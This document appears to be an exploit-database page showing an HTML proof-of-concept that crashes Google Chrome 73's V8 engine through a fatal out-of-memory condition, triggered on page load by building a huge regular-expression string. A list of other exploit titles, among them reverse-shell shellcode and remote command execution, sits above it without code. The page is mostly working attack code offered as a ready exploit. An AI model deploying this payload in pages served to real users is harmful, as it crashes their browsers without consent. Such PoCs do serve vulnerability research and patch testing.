56498e7891
10 changes to exploits/shellcodes Ease Audio Converter 5.30 - '.mp4' Denial of Service (PoC) QNAP myQNAPcloud Connect 1.3.4.0317 - 'Username/Password' Denial of Service Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-Memory in Invalid Table Size Denial of Service (PoC) LabF nfsAxe 3.7 Ping Client - 'Host IP' Buffer Overflow (Direct Ret) ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit) WordPress Plugin Contact Form Builder 1.0.67 - Cross-Site Request Forgery / Local File Inclusion 74CMS 5.0.1 - Cross-Site Request Forgery (Add New Admin User) Msvod 10 - Cross-Site Request Forgery (Change User Information) UliCMS 2019.2 / 2019.1 - Multiple Cross-Site Scripting Linux/ARM - Password-Protected Reverse TCP Shellcode (100 bytes)
47 lines
No EOL
879 B
HTML
47 lines
No EOL
879 B
HTML
<!--
|
|
# Exploit Title: Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-memory in invalid table size . Denial of Service (PoC)
|
|
# Google Dork: N/A
|
|
# Date: 2019-04-20
|
|
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)
|
|
# Vendor Homepage: https://www.google.com/
|
|
# Version: Google Chrome 73.0.3683.103
|
|
# Tested on: Windows x64
|
|
# CVE : N/A
|
|
|
|
# Description:
|
|
|
|
# Fatal javascript OOM in invalid table size
|
|
|
|
# https://bugs.chromium.org/p/chromium/issues/detail?id=918301
|
|
-->
|
|
|
|
|
|
<html>
|
|
<head>
|
|
<script>
|
|
|
|
var arr1 = [0,1];
|
|
|
|
function ObjCreate(make) {
|
|
this.make = make;
|
|
}
|
|
|
|
var obj1 = new ObjCreate();
|
|
|
|
function main() {
|
|
|
|
arr1.reduce(f3);
|
|
|
|
Object.getOwnPropertyDescriptors(Array(99).join(obj1.make));
|
|
|
|
}
|
|
|
|
function f3() {
|
|
|
|
obj1["make"] = RegExp(Array(60000).join("CCC"));
|
|
}
|
|
|
|
</script>
|
|
</head>
|
|
<body onload=main()></body>
|
|
</html> |